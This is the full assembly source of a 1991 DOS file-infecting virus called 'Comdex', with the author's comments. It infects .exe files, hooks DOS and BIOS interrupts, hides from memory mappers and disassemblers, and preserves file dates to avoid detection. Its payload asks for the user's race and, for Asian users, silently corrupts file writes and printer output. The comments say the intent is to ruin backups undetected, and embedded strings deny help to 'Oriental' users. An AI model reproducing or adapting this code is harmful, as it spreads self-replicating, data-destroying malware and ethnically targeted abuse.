; The Comdex exibit guide program ; For the Fall 1991 Comdex Las Vegas Convention ; ; ; A short description of the program: ; ; It only affects .exe files. ; Comdex attaches itself to the end of the programs it affects. ; ; When an affected file is run, Comdex copies itself to top of ; free memory, and modifies the memory blocks, in order to hide from ; memory mapping programs. Some programs may overwrite this area, ; causing the computer to crash. If this happens, the user obviously ; deserved it. ; ; Comdex will hook int 21h and when function 4b (exec) is called ; it sometimes will affect the program being run. It will check every ; program that is run for affection, and if it is not already ; affected, it will be. ; ; Comdex will, after 1 hr, one of 16 chance, ask your race or ; nationality prior to executing a file. Af you answer that you ; are asian/pacific rim, one of 256 file writes will have the ; length adjusted downward or the record size reduced, depending ; upon the specific dos call made. ; ; ; Comdex will remove the read-only attribute before trying to ; affect programs. ; ; Affected files can be easily recognized, since they always end in ; "COMD" ; ; To check for system affection, a byte at 0:33c is used - if it ; contains a 069h, Comdex is installed in memory. ; ; comsiz equ 128 ;in paragraphs code segment para public 'code' assume cs:code,ds:nothing,ss:nothing,es:nothing ; ; Comdex is basically divided in the following parts. ; ; 1. the main program - run when an affected program is run. ; it will check if the system is already affected, and if not ; it will install Comdex. ; ; 2. the new int 17 handler. adjusts two ascii output chars. ; ; 3. the new int 14 handler. ; ; 4. the new int 8 handler. ; ; 5. the new int 9 handler. ; ; 6. the new int 21 handler. it will look for exec calls, and ; affect the program being run. ; ; ; this is a fake mcb (memory control block) ; ms-dos inspects the chain of mcbs whenever a memory block allocation, ; modification, or release function is requested, or when a program ; is execed or terminated... ; db 'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0 ; ^___ # of paragraphs of the controlled mem blk Comdex proc far ; ; Comdex starts by pushing the original start address on the stack, ; so it can transfer control there when finished. ; labl: sub sp,4 push bp mov bp,sp push ax ;following line nuked for ease of test ; nop ;added so that scan84 doesn't id as [ice-3] mov ax,es ; ; put the the original cs on the stack. the add ax,data instruction ; is modified by Comdex when it affects other programs. ; db 05h ;this is an add ax,10h org_cs dw 0010h mov [bp+4],ax ; ; put the the original ip on the stack. this mov [bp+2],data instruction ; is modified by Comdex when it affects other programs. ; db 0c7h,46h,02h org_ip dw 0000h ; ; save all registers that are modified. ; push es push ds push bx push cx push si push di ; ; check if already installed. quit if so. ; mov ax,0 mov es,ax ;zero es cmp es:[33ch],byte ptr 069h ;&& ; jne l1 ; ; restore all registers and return to the original program. ; exit: pop di pop si pop cx pop bx pop ds pop es pop ax pop bp retf ; ; Comdex tries to hide from detection by modifying the memory block it ; uses, so it seems to be a block that belongs to the operating system. ; ; it looks rather weird, but it seems to work. ; l1: mov ah,52h call int21 ;undefined dos call!!? mov ax,es:[bx-2] nop mov es,ax add ax,es:[0003] inc ax inc ax mov cs:[0001],ax ; ; next, Comdex modifies the memory block of the affected program. ; it is made smaller, and no longer the last block. ; mov bx,ds dec bx nop mov ds,bx mov al,'M' mov ds:[0000],al mov ax,ds:[0003] sub ax,comsiz mov ds:[0003],ax add bx,ax inc bx ; ; then Comdex moves itself to the new block. ; mov es,bx xor si,si xor di,di push cs pop ds mov cx,652h ;the length of this program - ;be *sure* to update this!! ;in fact, make it symbolic!! cld rep movsb ; ; Comdex then transfers control to the new copy of itself. ; push es nop mov ax,offset l3 push ax retf db 3dh ;confuse disassemblers ; ; zero some variables ; l3: mov byte ptr cs:[min60],0 mov byte ptr cs:[min50],0 mov word ptr cs:[timer],0 mov byte ptr cs:[input_char],0 ; ; set flag to confirm installation ; xor ax,ax mov es,ax inc ax ;dummy operation to confuse function mov byte ptr es:[33ch],069h ; ; hook interrupt 21: ; (the primary dos function interrupt) ; mov ax,es:[0084h] mov cs:[old21],ax mov ax,es:[0086h] nop mov cs:[old21+2],ax mov ax,cs mov es:[0086h],ax mov ax,offset new21 mov es:[0084h],ax ; ; hook interrupt 17: ; (bios lpt services) ; mov ax,es:[005ch] mov cs:[old17],ax nop mov ax,es:[005eh] mov cs:[old17+2],ax inc ax ;dummy op mov ax,cs mov es:[005eh],ax mov ax,offset new17 mov es:[005ch],ax ; ; hook interrupt 14: ; (bios serial port services) ; ; mov ax,es:[0050h] ; mov cs:[old17],ax ; mov ax,es:[0052h] ; mov cs:[old14+2],ax ; mov ax,cs ; mov es:[0052h],ax ; mov ax,offset new14 ; mov es:[0050h],ax ; ; ; cmp word ptr cs:[noinf],5 jg hook8 jmp exit ; ; hook interrupt 9 ; (bios keyboard interrupt) ; ;hook9: mov ax,es:[0024h] ; mov cs:[old9],ax ; mov ax,es:[0026h] ; mov cs:[old9+2],ax ; mov ax,cs ; mov es:[0026h],ax ; mov ax,offset new9 ; mov es:[0024h],ax ; ; hook interrupt 8 ; (timer ticks) ; db 3dh,0cch,03h,3dh,3dh ;confuse dissassemblers hook8: mov ax,es:[0020h] mov cs:[old8],ax mov ax,es:[0022h] mov cs:[old8+2],ax mov ax,cs nop mov es:[0022h],ax mov ax,offset new8 mov es:[0020h],ax jmp exit ;the int 21 calls go through this routine to confuse the issue: int21: push ax mov ax,0ffh mov word ptr cs:[internal],ax ;set internal int 21 flag mov al,20h inc al ;put 21 in al mov byte ptr cs:[int21b],al ;self modifying code! pop ax db 0cdh ;int opcode int21b: db 0cch ;overwritten to int 21h push ax mov ax,00 mov word ptr cs:[internal],ax ;clear internal int 21 flag mov ax,0cch mov byte ptr cs:[int21b],al ;nuke it back to int 0cch pop ax retn db "Welcome to Comdex " db "From the Interface Group, Inc. " db "300 First Avenue " db "Needham, MA 02194 " db "(617)449-6600 " db "For data recovery ask for " db "Peter J. Bowes, unless you are " db "Oriental, in which case, we will " db "not help you. " quest db 0dh,0ah,"Software Piracy Prevention Center",0dh,0ah db "requests your cooperation:",0dh,0ah,0dh,0ah db "Please enter your race or nationality:",0dh,0ah db "a. White e. Eastern European",0dh,0ah db "b. Black f. Soviet",0dh,0ah db "c. Hispanic g. Western European",0dh,0ah db "d. Asian/Pacific Rim h. Other",0dh,0ah,0dh,0ah db " Please enter your response: ","$" input_char: db 0 db 3dh ;confuse disassemblers askit: push ax push bx push cx push dx push si push di push ds push es cmp byte ptr cs:[min60],1 ;resident 1 hr yet? jnz noask cmp byte ptr cs:[input_char],0 jnz noask ;don't ask twice mov ax,word ptr cs:[timer] and ax,000fh ;look at ls free running clock cmp ax,000ch ;does it happen to be 00ch? (1 of 16) jnz noask ;if not, don't ask the guy! mov dx,offset quest ;ask the guy about race mov ah,09h ;dos string print push cs pop ds call int21 ;print question on crt mov ax,0c01h ;dos flush input and get char call int21 ;get char and al,0dfh ;force upper case mov byte ptr cs:[input_char],al ;save away response noask: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax retn ;******************************************************************** ; ; int 9 (keyboard) replacement: ; this routine does not become active until 50 minutes after ; the execution of an affected program. ; ;new9: push ax ; push es ; cmp byte ptr cs:[min50],1 ; jnz retx1 ;insert any code here that activates 50 min after launch for int 9... ;retx1: pop es ;prepare to go to old int 9 code: ; pop ax ; db 0eah ;jmp 0000:0000 nmemonic ;old9 dw 0,0 ;storage for old addr ;******************************************************************** ; ; new int 14 (serial port) routine - ; ;new14: cmp ah,1 ;is it an output request? ; jz s1 ;yup. don't return just yet. ;do14: db 0eah ;jmp 0000:0000 nmemonic ;old14 dw 0,0 ;s1: ;insert any code here for output to serial port... ; jmp do14 ;******************************************************************** ; ; new int 8 routine (bios timer ticks) ; db 3dh ;piss off disassemblers new8: push dx push cx push bx push ax jmp txex ;&& inc word ptr cs:[timer] ; increment timer cmp byte ptr cs:[min60],01 ; if counter >= 60 min. jz tt0 ; no need to check any more cmp word ptr cs:[timer],-11 ; 60 minutes ? jz tt1 cmp word ptr cs:[timer],54601 ; 50 minutes ? jz tt2 jmp txex ; ; 50 minutes after an affected program is run the flag is set. ; tt2: mov byte ptr cs:[min50],1 jmp txex ; ; 60 minutes after an affected program is run this flag is set. ; tt1: mov byte ptr cs:[min60],1 ; exit interrupt routine: jmp txex ; ; every time an int 8 occurs, after the 60 min. have passed, we ; end up here: ; tt0: ;insert any fun timer oriented code here ; ; restore registers and quit ; txex: pop ax pop bx pop cx pop dx db 0eah old8 dw 0,0 ;******************************************************************** ; ; new int 17 routine. lpt out stuff. ; new17: jmp do17 ;&& cmp ah,0 jz p0 do17: db 0eah old17 dw 0,0 db 2eh ;confuse disassemblers p0: cmp byte ptr cs:[input_char],44h ;d. asian/pacific rim? jne not_asian push ax mov ax,word ptr cs:[timer] and ax,00ffh cmp ax,0032h ; one of 256 odds pop ax ; restore ax, doesn't change flags jne do17 ; don't twiddle lpt 255/256 odds cmp al,55h ; printing a "U"? jne notu mov al,0efh ; make it upside-down! jmp do17 ; and continue. notu: cmp al,06fh ; lower case "o"? jne do17 ; no? then exit. mov al,093h ; make it an "o" with a ^ over it! jmp do17 ; and exit. not_asian: jmp do17 ;Int 21 file adjustment routines - the following routines corrupt a small ;percentage of the file writes that Asians do in their use of the pc. For ;example, when one updates a spreadsheet or exits a word processor, the ;application software will re-write the file out to disk. What we do here ;is reduce the amount of the data that is written to the file. The hope ;is that the problem will be hidden for a significant period of time, since ;it happens only infrequently, and since it typically will happen upon exit ;of the application package. If the reduction of the write causes a serious ;problem (we hope it will) it won't usually be noticed until that file is ;loaded again. The other hope is that if the user does backup his data from ;time to time, this corrupted data will end up on the backup as well before ;the problem is noticed. With luck, maybe the user will assume that the ;hardware is intermittent, and backup the system over the top of his only ;existing backup set, then purchase replacement hardware. fuck_size_f: ;if asian, reduce file rec size by 1 on fcb ops push ax push di push dx ;setup di for indexed operations pop di cmp byte ptr cs:[input_char],044h ;asian? jne exit_fuck_f ;no, then do nothing mov ax,word ptr cs:[timer] and ax,00ffh ;mask off ls 8 bits of free run timer cmp ax,0069h ;does it happen to be 69h? (1 of 256) jne exit_fuck_f ;nope, so do nothing mov al,[ds:di+0] ;get first byte of user's fcb cmp al,0ffh ;extended fcb? jne norm_fcb ;nope, so handle as normal fcb mov ax,[ds:di+15h] ;get record size, 16 bits on extd fcb. dec ax ;adjust it a bit, since the user really doesn't ;need to write so much data. mov [ds:di+15h],ax jmp exit_fuck_f ;subsequent r/w ops should fail to get the ;right data until this file is closed or ;until system crashes. norm_fcb: mov al,[ds:di+0eh] ;get record size, only 8 bits on norm fcb. dec al ;reduce by 1 mov [ds:di+0eh],al ;store it back exit_fuck_f: pop di pop ax jmp do21 fuck_size_h: ;reduce length of handle file writes push ax push di push dx pop di cmp byte ptr cs:[input_char],044h ;asian? jne exit_fuck_h ;no, so don't damage anything. mov ax,word ptr cs:[timer] and ax,00ffh cmp ax,0066h ;one out of 256 odds jne try_again ;no? well give it another chance. and cx,0fff5h ;reduce write length in bytes by a flakey amt dec cx ;ranging from 1 to 11 bytes. exit_fuck_h: pop ax jmp do21 try_again: cmp ax,0077h ;one of 256 odds? jne exit_fuck_h ;exit if not lucky. mov ax,[ds:di+30h] ;get a user data byte from his buffer xor ax,0004h ;toggle bit 2 of byte 30h mov [ds:di+30h],ax ;and put it back jmp exit_fuck_h ;******************************************************************** ; ; this is the int 21 replacement. it only does something in ; the case of an execute program dos call. ; ;be careful here not to trap int codes that we use internally! new21: jmp do21 ;&& push ax cmp word ptr cs:[internal],0ffh ;is it an internal int 21? je do21 ;yup, so no tweaking allowed pop ax cmp ah,015h ;is it a fcb file write? je fuck_size_f ;if asian, reduce record size by 1 cmp ah,040h ;is it a handle file write? je fuck_size_h ;if asian, adjust write length down. cmp ah,4bh ;is it an int 21 code 4b? je l5 ;yup. go affect stuff do21: db 0eah ;nope. let dos handle it old21 dw 0,0 ; ; the code to only affect every tenth program has been removed ; for now. restore this code later. ; db 3dh ;confuse disassemblers l5: call askit ;ask race if appropriate push ax push bx push cx push dx push si push ds ; ; search for the file name extension ... ; mov bx,dx l6: inc bx cmp byte ptr [bx],'.' je l8 cmp byte ptr [bx],0 jne l6 ; ; ... and quit unless it starts with "ex". ; l7: pop ds pop si pop dx pop cx pop bx pop ax jmp do21 l8: inc bx cmp word ptr [bx],5845h ;"EX" jne l7 ; ; when an .exe file is found, Comdex starts by turning off ; the read-only attribute. the read-only attribute is not restored ; when the file has been affected. ; mov ax,4300h ; get attribute call int21 jc l7 mov ax,4301h ; set attribute and cx,0feh call int21 jc l7 ; ; next, the file is examined to see if it is already affected. ; the signature (4418 5f19) is stored in the last two words. ; mov ax,3d02h ; open / write access call int21 jc l7 mov bx,ax ; file handle in bx ; ; this part of the code is new: get date of file. ; mov ax,5700h call int21 jc l9 mov cs:[date1],dx mov cs:[date2],cx ; push cs ; now ds is no longer needed pop ds ; ; the header of the file is read in at [id+8]. Comdex then ; modifies itself, according to the information stored in the ; header. (the original cs and ip addressed are stored). ; mov dx,offset id+8 mov cx,1ch mov ah,3fh call int21 jc l9 mov ax,ds:id[1ch] mov ds:[org_ip],ax inc ax ;confuse reader a little mov ax,ds:id[1eh] add ax,10h mov ds:[org_cs],ax ; ; next the read/write pointer is moved to the end of the file-4, ; and the last 4 bytes read. they are compared to the signature, ; and if equal nothing happens. ; mov ax,4202h mov cx,-1 mov dx,-4 call int21 jc l9 add ax,4 mov ds:[len_lo],ax jnc l8a inc dx l8a: mov ds:[len_hi],dx ; ; this part of Comdex is new - check if it is below minimum length ; cmp dx,0 jne l8b mov cl,13 shr ax,cl cmp ax,0 jg l8b nop jmp short l9 l8b: mov ah,3fh mov cx,4 mov dx,offset id+4 call int21 jnc l11 l9: mov ah,3eh call int21 l10: jmp l7 db 3eh ;confuse disassemblers ; ; compare to 4f43,444d which is first 4 letters of Comdex ; l11: mov si,offset id+4 mov ax,[si] cmp ax,4f43h ;ascii "OC" jne l12 mov ax,[si+2] cmp ax,444dh ;ascii "DM" je l9 ; ; the file is not affected, so the next thing Comdex does is ; affect it. first it is padded so the length becomes a multiple ; of 16 bytes. this is done so Comdex code can start at a ; paragraph boundary. ; l12: mov ax,ds:[len_lo] and ax,0fh jz l13 mov cx,16 sub cx,ax nop add ds:[len_lo],cx jnc l12a inc ds:[len_hi] l12a: mov ah,40h call int21 ;dos write to file jc l9 ; ; next the main body of Comdex is written to the end. ; l13: xor dx,dx mov cx,offset id + 4 mov ah,40h ;dos write to file call int21 jc l9 ; ; next the .exe file header is modified: ; ; first modify initial ip ; f0: mov ax,offset labl mov ds:id[1ch],ax ; ; modify starting cs = Comdex cs. it is computed as: ; ; (original length of file+padding)/16 - start of load module ; mov dx,ds:[len_hi] mov ax,ds:[len_lo] mov cl,cs:[const1] ; modified a bit shr dx,cl rcr ax,cl nop shr dx,cl rcr ax,cl shr dx,cl rcr ax,cl nop shr dx,cl rcr ax,cl sub ax,ds:id[10h] mov ds:id[1eh],ax ; ; modify length mod 512 ; add ds:[len_lo],offset id+4 jnc l14 inc ds:[len_hi] l14: mov ax,ds:[len_lo] and ax,511 nop mov ds:id[0ah],ax ; ; modify number of blocks used ; mov dx,ds:[len_hi] mov ax,ds:[len_lo] add ax,511 jnc l14a inc dx l14a: mov al,ah mov ah,dl shr ax,1 mov ds:id[0ch],ax ; ; finally the modified header is written back to the start of the ; file. ; wrtback:mov ax,4200h xor cx,cx xor dx,dx call int21 ;dos move file pointer jc endit mov ah,40h mov dx,offset id+8 mov cx,1ch call int21 ;dos write to file ; ; this part is new: restore old date. ; mov dx,cs:[date1] mov cx,cs:[date2] mov ax,5701h call int21 ;dos set file date and time jc endit inc word ptr cs:[noinf] ; ; affection is finished - close the file and execute it ; endit: jmp l9 ; ; timer dw 0 ; number of timer (int 8) ticks const1 db 1 ; the constant 1 const0 dw 0 ; the constant 0 internal dw 0 ; internal int 21 in effect. min50 db 0 ; flag, set to 1 50 minutes after execution min60 db 0 ; flag, set to 1 60 minutes after execution vmode db 0 ; video mode date1 dw ? ; date of file date2 dw ? ; ditto. len_lo dw ? len_hi dw ? noinf dw 0 ; number of affections id label word db "COMD" ; the signature of Comdex. ; ; a buffer, used for data from the file. ; Comdex endp code ends end labl